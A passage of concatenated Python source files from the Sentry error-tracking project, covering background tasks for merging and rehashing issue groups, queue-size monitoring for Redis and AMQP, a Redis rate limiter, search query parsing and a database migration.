        logger.warning('Failed sending beacon', exc_info=True)
        return

    data = json.loads(response)

    if 'version' in data:
        options.set('sentry:latest_version', data['version']['stable'])

    if 'notices' in data:
        upstream_ids = set()
        for notice in data['notices']:
            upstream_ids.add(notice['id'])
            Broadcast.objects.create_or_update(
                upstream_id=notice['id'],
                defaults={
                    'title': notice['title'],
                    'link': notice.get('link'),
                    'message': notice['message'],
                }
            )

        Broadcast.objects.filter(
            upstream_id__isnull=False,
        ).exclude(
            upstream_id__in=upstream_ids,
        ).update(
            is_active=False,
        )






"""
sentry.tasks
~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






"""
sentry.tasks.merge
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import logging

from django.db import DataError, IntegrityError, router, transaction
from django.db.models import F

from sentry.tasks.base import instrumented_task, retry
from sentry.tasks.deletion import delete_group

# TODO(dcramer): probably should have a new logger for this, but it removes data
# so lets bundle under deletions
logger = logging.getLogger('sentry.deletions')


@instrumented_task(name='sentry.tasks.merge.merge_group', queue='merge',
                   default_retry_delay=60 * 5, max_retries=None)
@retry
def merge_group(from_object_id=None, to_object_id=None, **kwargs):
    # TODO(mattrobenolt): Write tests for all of this
    from sentry.models import (
        Activity, Group, GroupAssignee, GroupHash, GroupRuleStatus,
        GroupSubscription, GroupTagKey, GroupTagValue, EventMapping, Event,
        UserReport, GroupRedirect, GroupMeta,
    )

    if not (from_object_id and to_object_id):
        logger.error('merge_group.malformed.missing_params')
        return

    try:
        group = Group.objects.get(id=from_object_id)
    except Group.DoesNotExist:
        logger.warn('merge_group.malformed.invalid_id', extra={'object_id': from_object_id})
        return

    try:
        new_group = Group.objects.get(id=to_object_id)
    except Group.DoesNotExist:
        logger.warn('merge_group.malformed.invalid_id', extra={'object_id': from_object_id})
        return

    model_list = (
        Activity, GroupAssignee, GroupHash, GroupRuleStatus, GroupSubscription,
        GroupTagValue, GroupTagKey, EventMapping, Event, UserReport,
        GroupRedirect, GroupMeta,
    )

    has_more = merge_objects(model_list, group, new_group, logger=logger)

    if has_more:
        merge_group.delay(
            from_object_id=from_object_id,
            to_object_id=to_object_id,
        )
        return

    previous_group_id = group.id

    group.delete()

    try:
        with transaction.atomic():
            GroupRedirect.objects.create(
                group_id=new_group.id,
                previous_group_id=previous_group_id,
            )
    except IntegrityError:
        pass

    new_group.update(
        # TODO(dcramer): ideally these would be SQL clauses
        first_seen=min(group.first_seen, new_group.first_seen),
        last_seen=max(group.last_seen, new_group.last_seen),
    )
    try:
        # it's possible to hit an out of range value for counters
        new_group.update(
            times_seen=F('times_seen') + group.times_seen,
            num_comments=F('num_comments') + group.num_comments,
        )
    except DataError:
        pass


@instrumented_task(name='sentry.tasks.merge.rehash_group_events', queue='merge',
                   default_retry_delay=60 * 5, max_retries=None)
@retry
def rehash_group_events(group_id, **kwargs):
    from sentry.models import Group, GroupHash

    group = Group.objects.get(id=group_id)

    # Clear out existing hashes to preempt new events being added
    # This can cause the new groups to be created before we get to them, but
    # its a tradeoff we're willing to take
    GroupHash.objects.filter(group=group).delete()

    has_more = _rehash_group_events(group)

    if has_more:
        rehash_group_events.delay(
            group_id=group.id
        )
        return

    delete_group.delay(group.id)


def _rehash_group_events(group, limit=100):
    from sentry.event_manager import (
        EventManager, get_hashes_from_fingerprint, generate_culprit,
        md5_from_hash
    )
    from sentry.models import Event, Group

    event_list = list(Event.objects.filter(group_id=group.id)[:limit])
    Event.objects.bind_nodes(event_list, 'data')

    for event in event_list:
        fingerprint = event.data.get('fingerprint', ['{{ default }}'])
        if fingerprint and not isinstance(fingerprint, (list, tuple)):
            fingerprint = [fingerprint]
        elif not fingerprint:
            fingerprint = ['{{ default }}']

        manager = EventManager({})

        group_kwargs = {
            'message': event.message,
            'platform': event.platform,
            'culprit': generate_culprit(event.data),
            'logger': event.get_tag('logger') or group.logger,
            'level': group.level,
            'last_seen': event.datetime,
            'first_seen': event.datetime,
            'data': group.data,
        }

        # XXX(dcramer): doesnt support checksums as they're not stored
        hashes = map(md5_from_hash, get_hashes_from_fingerprint(event, fingerprint))
        for hash in hashes:
            new_group, _, _, _ = manager._save_aggregate(
                event=event,
                hashes=hashes,
                release=None,
                **group_kwargs
            )
            event.update(group_id=new_group.id)
            if event.data.get('tags'):
                Group.objects.add_tags(new_group, event.data['tags'])
    return bool(event_list)


def merge_objects(models, group, new_group, limit=1000,
                  logger=None):
    from sentry.models import GroupTagKey, GroupTagValue

    has_more = False
    for model in models:
        if logger is not None:
            logger.info('model.merge', extra={
                'model': model.__name__,
                'group_id': group.id,
                'new_group_id': new_group.id
            })
        all_fields = model._meta.get_all_field_names()
        has_group = 'group' in all_fields
        if has_group:
            queryset = model.objects.filter(group=group)
        else:
            queryset = model.objects.filter(group_id=group.id)
        for obj in queryset[:limit]:
            try:
                with transaction.atomic(using=router.db_for_write(model)):
                    if has_group:
                        model.objects.filter(
                            id=obj.id
                        ).update(group=new_group)
                    else:
                        model.objects.filter(
                            id=obj.id
                        ).update(group_id=new_group.id)
            except IntegrityError:
                delete = True
            else:
                delete = False

            if delete:
                # Before deleting, we want to merge in counts
                try:
                    if model == GroupTagKey:
                        with transaction.atomic(using=router.db_for_write(model)):
                            model.objects.filter(
                                group=new_group,
                                key=obj.key,
                            ).update(values_seen=F('values_seen') + obj.values_seen)
                    elif model == GroupTagValue:
                        with transaction.atomic(using=router.db_for_write(model)):
                            model.objects.filter(
                                group=new_group,
                                key=obj.key,
                                value=obj.value,
                            ).update(times_seen=F('times_seen') + obj.times_seen)
                except DataError:
                    # it's possible to hit an out of range value for counters
                    pass
                obj.delete()
            has_more = True

        if has_more:
            return True
    return has_more






from __future__ import absolute_import, print_function

from sentry.tasks.base import instrumented_task
from sentry.lang.native.dsymcache import dsymcache


@instrumented_task(name='sentry.tasks.clear_old_cached_dsyms',
                   time_limit=15,
                   soft_time_limit=10)
def clear_old_cached_dsyms():
    dsymcache.clear_old_entries()






"""
sentry.tasks.ping
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import sentry

from time import time

from sentry import options
from sentry.tasks.base import instrumented_task


@instrumented_task(name='sentry.tasks.send_ping')
def send_ping():
    options.set('sentry:last_worker_ping', time())
    options.set('sentry:last_worker_version', sentry.VERSION)






"""
sentry.tasks.process_buffer
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import logging

from sentry.tasks.base import instrumented_task
from sentry.utils.locking import UnableToAcquireLock


logger = logging.getLogger(__name__)


@instrumented_task(
    name='sentry.tasks.process_buffer.process_pending')
def process_pending():
    """
    Process pending buffers.
    """
    from sentry import app
    lock = app.locks.get('buffer:process_pending', duration=60)
    try:
        with lock.acquire():
            app.buffer.process_pending()
    except UnableToAcquireLock as error:
        logger.warning('process_pending.fail', extra={'error': error})


@instrumented_task(
    name='sentry.tasks.process_buffer.process_incr')
def process_incr(**kwargs):
    """
    Processes a buffer event.
    """
    from sentry import app

    app.buffer.process(**kwargs)






"""
sentry.tasks.options
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import logging
import six

from datetime import timedelta
from django.utils import timezone

from sentry.models import Option
from sentry.options import default_manager
from sentry.options.manager import UnknownOption
from sentry.tasks.base import instrumented_task

ONE_HOUR = 60 * 60
logger = logging.getLogger('sentry')


@instrumented_task(name='sentry.tasks.options.sync_options', queue='options')
def sync_options(cutoff=ONE_HOUR):
    """
    Ensures all options that have been updated (within the database) since
    ``cutoff`` have their correct values stored in the cache.

    This **does not** guarantee that the correct value is written into the cache
    though it will correct itself in the next update window.
    """
    cutoff_dt = timezone.now() - timedelta(seconds=cutoff)
    # TODO(dcramer): this doesnt handle deleted options (which shouldn't be allowed)
    for option in Option.objects.filter(last_updated__gte=cutoff_dt).iterator():
        try:
            opt = default_manager.lookup_key(option.key)
            default_manager.store.set_cache(opt, option.value)
        except UnknownOption as e:
            logger.exception(six.text_type(e))






from __future__ import absolute_import, print_function

from sentry.models import (
    Activity, GroupResolution, GroupResolutionStatus, Project, Release
)
from sentry.tasks.base import instrumented_task


@instrumented_task(name='sentry.tasks.clear_expired_resolutions',
                   time_limit=15,
                   soft_time_limit=10)
def clear_expired_resolutions(release_id):
    """
    This should be fired when ``release_id`` is created, and will indicate to
    the system that any pending resolutions older than the given release can now
    be safely transitioned to resolved.
    """
    try:
        release = Release.objects.get_from_cache(
            id=release_id,
        )
    except Release.DoesNotExist:
        return

    project = Project.objects.get_from_cache(
        id=release.project_id,
    )

    resolution_list = GroupResolution.objects.filter(
        release__project=project,
        release__date_added__lt=release.date_added,
    ).exclude(
        release=release,
    )

    resolution_list.update(status=GroupResolutionStatus.RESOLVED)

    for resolution in resolution_list:
        activity = Activity.objects.filter(
            group=resolution.group_id,
            type=Activity.SET_RESOLVED_IN_RELEASE,
            ident=resolution.id,
        ).order_by('-datetime')[0]

        activity.update(data={
            'version': release.version,
        })






"""
sentry.monitoring.queues
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.conf import settings
from django.utils.functional import cached_property
from six.moves.urllib.parse import urlparse


class RedisBackend(object):
    def __init__(self, broker_url):
        self.broker_url = broker_url

    @cached_property
    def client(self):
        from redis import StrictRedis
        return StrictRedis.from_url(self.broker_url)

    def bulk_get_sizes(self, queues):
        return [(queue, self.get_size(queue)) for queue in queues]

    def get_size(self, queue):
        return self.client.llen(queue)

    def purge_queue(self, queue):
        # This is slightly inaccurate since things could be queued between calling
        # LLEN and DEL, but it's close enough for this use case.
        size = self.get_size(queue)
        self.client.delete(queue)
        return size


class AmqpBackend(object):
    def __init__(self, broker_url):
        dsn = urlparse(broker_url)
        self.conn_info = dict(
            host=dsn.hostname,
            port=dsn.port,
            userid=dsn.username,
            password=dsn.password,
            virtual_host=dsn.path[1:],
        )

    def get_conn(self):
        from librabbitmq import Connection
        return Connection(**self.conn_info)

    def _get_size_from_channel(self, channel, queue):
        # In AMQP, the way to do this is to attempt to create a queue passively.
        # which is basically checking for it's existence (passive=True), this also
        # returns back the queue size.
        try:
            _, size, _ = channel.queue_declare(queue, passive=True)
        except Exception:
            return 0
        return size

    def bulk_get_sizes(self, queues):
        sizes = []
        with self.get_conn() as conn:
            with conn.channel() as channel:
                for queue in queues:
                    sizes.append((queue, self._get_size_from_channel(channel, queue)))
                return sizes

    def get_size(self, queue):
        with self.get_conn() as conn:
            with conn.channel() as channel:
                return self._get_size_from_channel(channel, queue)

    def purge_queue(self, queue):
        with self.get_conn() as conn:
            with conn.channel() as channel:
                return channel.queue_purge(queue)


def get_backend_for_broker(broker_url):
    if broker_url is None:
        raise KeyError
    return backends[urlparse(broker_url).scheme](broker_url)


def get_queue_by_name(name):
    "Lookup a celery Queue object by it's name"
    for queue in settings.CELERY_QUEUES:
        if queue.name == name:
            return queue

backends = {
    'redis': RedisBackend,
    'amqp': AmqpBackend,
    'librabbitmq': AmqpBackend,
}

try:
    backend = get_backend_for_broker(settings.BROKER_URL)
except KeyError:
    backend = None






from __future__ import absolute_import






from __future__ import absolute_import

import six

from time import time

from sentry.exceptions import InvalidConfiguration
from sentry.ratelimits.base import RateLimiter
from sentry.utils.hashlib import md5_text
from sentry.utils.redis import get_cluster_from_options


class RedisRateLimiter(RateLimiter):
    window = 60

    def __init__(self, **options):
        self.cluster, options = get_cluster_from_options('SENTRY_RATELIMITER_OPTIONS', options)

    def validate(self):
        try:
            with self.cluster.all() as client:
                client.ping()
        except Exception as e:
            raise InvalidConfiguration(six.text_type(e))

    def is_limited(self, key, limit, project=None, window=None):
        if window is None:
            window = self.window

        key_hex = md5_text(key).hexdigest()
        bucket = int(time() / window)

        if project:
            key = 'rl:%s:%s:%s' % (key_hex, project.id, bucket)
        else:
            key = 'rl:%s:%s' % (key_hex, bucket)

        with self.cluster.map() as client:
            result = client.incr(key)
            client.expire(key, window)

        return result.value > limit






from __future__ import absolute_import


class RateLimiter(object):
    window = 60

    def validate(self):
        """
        Validates the settings for this backend (i.e. such as proper connection
        info).

        Raise ``InvalidConfiguration`` if there is a configuration error.
        """

    def is_limited(self, key, limit, project=None, window=None):
        return False






from __future__ import absolute_import






"""
sentry.search.models
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import






"""
sentry.search.base
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

ANY = object()


class SearchBackend(object):
    def __init__(self, **options):
        pass

    def validate(self):
        """
        Validates the settings for this backend (i.e. such as proper connection
        info).

        Raise ``InvalidConfiguration`` if there is a configuration error.
        """

    def query(self, project, query=None, status=None, tags=None,
              bookmarked_by=None, assigned_to=None, first_release=None,
              sort_by='date', age_from=None, age_to=None,
              unassigned=None, date_from=None, date_to=None, cursor=None,
              limit=100):
        """
        The return value should be a CursorResult.

        The limit here is a soft input limit, which gets trimmed by the Cursor.
        This means the backend should query limit + 2 and return that within the
        CursorResult.
        """
        raise NotImplementedError






"""
sentry.search
~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from .base import *  # NOQA






from __future__ import absolute_import, division, print_function

import six

from collections import defaultdict
from datetime import datetime, timedelta
from django.db.models import Q
from django.utils import timezone
from six.moves import reduce

from sentry.constants import STATUS_CHOICES
from sentry.models import EventUser, User
from sentry.search.base import ANY
from sentry.utils.auth import find_users


class InvalidQuery(Exception):
    pass


def get_user_tag(project, key, value):
    # TODO(dcramer): do something with case of multiple matches
    try:
        lookup = EventUser.attr_from_keyword(key)
        euser = EventUser.objects.filter(
            project=project,
            **{lookup: value}
        )[0]
    except (KeyError, IndexError):
        return '{}:{}'.format(key, value)

    return euser.tag_value


def parse_datetime_range(value):
    try:
        flag, count, interval = value[0], int(value[1:-1]), value[-1]
    except (ValueError, TypeError):
        raise InvalidQuery('{} is not a valid datetime query'.format(value))

    if flag not in ('+', '-'):
        raise InvalidQuery('{} is not a valid datetime query'.format(value))

    if interval == 'h':
        delta = timedelta(hours=count)
    elif interval == 'w':
        delta = timedelta(days=count * 7)
    elif interval == 'd':
        delta = timedelta(days=count)
    elif interval == 'm':
        delta = timedelta(minutes=count)
    else:
        raise InvalidQuery('{} is not a valid datetime query'.format(value))

    if flag == '-':
        return (timezone.now() - delta, None)
    else:
        return (None, timezone.now() - delta)


def parse_datetime_comparison(value):
    # TODO(dcramer): currently inclusitivity is not controllable by the query
    # as from date is always inclusive, and to date is always exclusive
    if value[:2] in ('>=', '=>'):
        return (parse_datetime_value(value[2:])[0], None)
    if value[:2] in ('<=', '=<'):
        return (None, parse_datetime_value(value[2:])[0])
    if value[:1] in ('>'):
        return (parse_datetime_value(value[1:])[0], None)
    if value[:1] in ('<'):
        return (None, parse_datetime_value(value[1:])[0])
    if value[0] == '=':
        return parse_datetime_value(value[1:])
    raise InvalidQuery('{} is not a valid datetime query'.format(value))


def parse_datetime_value(value):
    try:
        return _parse_datetime_value(value)
    except ValueError:
        raise InvalidQuery('{} is not a valid datetime query'.format(value))


def _parse_datetime_value(value):
    # timezones are not supported and are assumed UTC
    if value[-1] == 'Z':
        value = value[:-1]

    value_len = len(value)
    if value_len in (8, 10):
        value = datetime.strptime(value, '%Y-%m-%d').replace(
            tzinfo=timezone.utc,
        )
        return [value, value + timedelta(days=1)]
    elif value[4] == '-':
        try:
            value = datetime.strptime(value, '%Y-%m-%dT%H:%M:%S').replace(
                tzinfo=timezone.utc,
            )
        except ValueError:
            value = datetime.strptime(value, '%Y-%m-%dT%H:%M:%S.%f').replace(
                tzinfo=timezone.utc,
            )
    else:
        value = datetime.utcfromtimestamp(float(value)).replace(
            tzinfo=timezone.utc,
        )
    return [value - timedelta(minutes=5), value + timedelta(minutes=6)]


def parse_datetime_expression(value):
    # result must be (from inclusive, to exclusive)
    if value.startswith(('-', '+')):
        return parse_datetime_range(value)

    if value.startswith(('>', '<', '=', '<=', '>=')):
        return parse_datetime_comparison(value)

    return parse_datetime_value(value)


def get_date_params(value, from_field, to_field):
    date_from, date_to = parse_datetime_expression(value)
    result = {}
    if date_from:
        result.update({
            from_field: date_from,
            '{}_inclusive'.format(from_field): True,
        })
    if date_to:
        result.update({
            to_field: date_to,
            '{}_inclusive'.format(to_field): False,
        })
    return result


def tokenize_query(query):
    """
    Tokenizes a standard Sentry search query.

    >>> query = 'is:resolved foo bar tag:value'
    >>> tokenize_query(query)
    {
        'is': ['resolved'],
        'query': ['foo', 'bar'],
        'tag': ['value'],
    }
    """
    results = defaultdict(list)

    tokens = query.split(' ')
    tokens_iter = iter(tokens)
    for token in tokens_iter:
        # ignore empty tokens
        if not token:
            continue

        if ':' not in token:
            results['query'].append(token)
            continue

        key, value = token.split(':', 1)
        if not value:
            results['query'].append(token)
            continue

        if value[0] == '"':
            nvalue = value
            while not nvalue.endswith('"'):
                try:
                    nvalue = six.next(tokens_iter)
                except StopIteration:
                    break
                value = '%s %s' % (value, nvalue)

            if value.endswith('"'):
                value = value[1:-1]
            else:
                value = value[1:]
        results[key].append(value)
    return dict(results)


def parse_query(project, query, user):
    # TODO(dcramer): handle query being wrapped in quotes
    tokens = tokenize_query(query)

    results = {'tags': {}, 'query': []}

    for key, token_list in six.iteritems(tokens):
        for value in token_list:
            if key == 'query':
                results['query'].append(value)
            elif key == 'is':
                if value == 'unassigned':
                    results['unassigned'] = True
                elif value == 'assigned':
                    results['unassigned'] = False
                else:
                    try:
                        results['status'] = STATUS_CHOICES[value]
                    except KeyError:
                        pass
            elif key == 'assigned':
                if value == 'me':
                    results['assigned_to'] = user
                else:
                    try:
                        results['assigned_to'] = find_users(value)[0]
                    except IndexError:
                        # XXX(dcramer): hacky way to avoid showing any results when
                        # an invalid user is entered
                        results['assigned_to'] = User(id=0)
            elif key == 'bookmarks':
                if value == 'me':
                    results['bookmarked_by'] = user
                else:
                    try:
                        results['bookmarked_by'] = find_users(value)[0]
                    except IndexError:
                        # XXX(dcramer): hacky way to avoid showing any results when
                        # an invalid user is entered
                        results['bookmarked_by'] = User(id=0)
            elif key == 'first-release':
                results['first_release'] = value
            elif key == 'release':
                results['tags']['sentry:release'] = value
            elif key == 'user':
                if ':' in value:
                    comp, value = value.split(':', 1)
                else:
                    comp = 'id'
                results['tags']['sentry:user'] = get_user_tag(
                    project, comp, value)
            elif key == 'has':
                if value == 'user':
                    value = 'sentry:user'
                elif value == 'release':
                    value = 'sentry:release'
                results['tags'][value] = ANY
            elif key == 'age':
                results.update(get_date_params(value, 'age_from', 'age_to'))
            elif key.startswith('user.'):
                results['tags']['sentry:user'] = get_user_tag(
                    project, key.split('.', 1)[1], value)
            elif key == 'event.timestamp':
                results.update(get_date_params(value, 'date_from', 'date_to'))
            else:
                results['tags'][key] = value

    results['query'] = ' '.join(results['query'])

    return results


def in_iexact(column, values):
    from operator import or_

    query = '{}__iexact'.format(column)

    return reduce(or_, [Q(**{query: v}) for v in values])






# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models


class Migration(SchemaMigration):

    def forwards(self, orm):
        """
        This migration is handled by Sentry core.
        """
        # Adding model 'SearchDocument'
        # db.create_table('sentry_searchdocument', (
        #     ('id', self.gf('sentry.db.models.fields.bounded.BoundedBigAutoField')(primary_key=True)),
        #     ('project', self.gf('sentry.db.models.fields.FlexibleForeignKey')(to=orm['sentry.Project'])),
        #     ('group', self.gf('sentry.db.models.fields.FlexibleForeignKey')(to=orm['sentry.Group'])),
        #     ('total_events', self.gf('django.db.models.fields.PositiveIntegerField')(default=1)),
        #     ('status', self.gf('django.db.models.fields.PositiveIntegerField')(default=0)),
        #     ('date_added', self.gf('django.db.models.fields.DateTimeField')(default=datetime.datetime.now)),
        #     ('date_changed', self.gf('django.db.models.fields.DateTimeField')(default=datetime.datetime.now)),
        # ))
        # db.send_create_signal(u'search', ['SearchDocument'])

        # Adding unique constraint on 'SearchDocument', fields ['project', 'group']
        # db.create_unique('sentry_searchdocument', ['project_id', 'group_id'])

        # Adding model 'SearchToken'
        # db.create_table('sentry_searchtoken', (
        #     ('id', self.gf('sentry.db.models.fields.bounded.BoundedBigAutoField')(primary_key=True)),
        #     ('document', self.gf('sentry.db.models.fields.FlexibleForeignKey')(related_name='token_set', to=orm['search.SearchDocument'])),
        #     ('field', self.gf('django.db.models.fields.CharField')(default='text', max_length=64)),
        #     ('token', self.gf('django.db.models.fields.CharField')(max_length=128)),
        #     ('times_seen', self.gf('django.db.models.fields.PositiveIntegerField')(default=1)),
        # ))
        # db.send_create_signal(u'search', ['SearchToken'])

        # # Adding unique constraint on 'SearchToken', fields ['document', 'field', 'token']
        # db.create_unique('sentry_searchtoken', ['document_id', 'field', 'token'])

    def backwards(self, orm):
        pass
        # Removing unique constraint on 'SearchToken', fields ['document', 'field', 'token']
        # db.delete_unique('sentry_searchtoken', ['document_id', 'field', 'token'])

        # Removing unique constraint on 'SearchDocument', fields ['project', 'group']
        # db.delete_unique('sentry_searchdocument', ['project_id', 'group_id'])

        # Deleting model 'SearchDocument'
        # db.delete_table('sentry_searchdocument')

        # Deleting model 'SearchToken'
        # db.delete_table('sentry_searchtoken')

    models = {
        u'auth.group': {
            'Meta': {'object_name': 'Group'},
            u'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
            'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
        },
        u'auth.permission': {
            'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'},
            'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'content_type': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}),
            u'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
        },

        'sentry.user': {
            'Meta': {'object_name': 'User', 'db_table': "'auth_user'"},
            'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
            'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
            'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
            'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
            'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
        },
        u'contenttypes.contenttype': {
            'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
            'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            u'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
        },
        u'sentry.accessgroup': {
            'Meta': {'unique_together': "(('team', 'name'),)", 'object_name': 'AccessGroup'},
            'data': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'managed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'members': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['sentry.User']", 'symmetrical': 'False'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
            'projects': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['sentry.Project']", 'symmetrical': 'False'}),
            'team': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Team']"}),
            'type': ('django.db.models.fields.IntegerField', [], {'default': '50'})
        },
        u'sentry.activity': {
            'Meta': {'object_name': 'Activity'},
            'data': ('django.db.models.fields.TextField', [], {'null': 'True'}),
            'datetime': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'event': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Event']", 'null': 'True'}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']", 'null': 'True'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'ident': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']"}),
            'type': ('django.db.models.fields.PositiveIntegerField', [], {}),
            'user': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.User']", 'null': 'True'})
        },
        u'sentry.alert': {
            'Meta': {'object_name': 'Alert'},
            'data': ('django.db.models.fields.TextField', [], {'null': 'True'}),
            'datetime': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']", 'null': 'True'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'message': ('django.db.models.fields.TextField', [], {}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']"}),
            'related_groups': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'related_alerts'", 'symmetrical': 'False', 'through': u"orm['sentry.AlertRelatedGroup']", 'to': u"orm['sentry.Group']"}),
            'status': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'db_index': 'True'})
        },
        u'sentry.alertrelatedgroup': {
            'Meta': {'unique_together': "(('group', 'alert'),)", 'object_name': 'AlertRelatedGroup'},
            'alert': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Alert']"}),
            'data': ('django.db.models.fields.TextField', [], {'null': 'True'}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'})
        },
        u'sentry.event': {
            'Meta': {'unique_together': "(('project', 'event_id'),)", 'object_name': 'Event', 'db_table': "'sentry_message'"},
            'checksum': ('django.db.models.fields.CharField', [], {'max_length': '32', 'db_index': 'True'}),
            'culprit': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'db_column': "'view'", 'blank': 'True'}),
            'data': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
            'datetime': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'db_index': 'True'}),
            'event_id': ('django.db.models.fields.CharField', [], {'max_length': '32', 'null': 'True', 'db_column': "'message_id'"}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'blank': 'True', 'related_name': "'event_set'", 'null': 'True', 'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'level': ('django.db.models.fields.PositiveIntegerField', [], {'default': '40', 'db_index': 'True', 'blank': 'True'}),
            'logger': ('django.db.models.fields.CharField', [], {'default': "'root'", 'max_length': '64', 'db_index': 'True', 'blank': 'True'}),
            'message': ('django.db.models.fields.TextField', [], {}),
            'num_comments': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'null': 'True'}),
            'platform': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'server_name': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'db_index': 'True'}),
            'site': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'db_index': 'True'}),
            'time_spent': ('django.db.models.fields.IntegerField', [], {'null': 'True'})
        },
        u'sentry.eventmapping': {
            'Meta': {'unique_together': "(('project', 'event_id'),)", 'object_name': 'EventMapping'},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'event_id': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
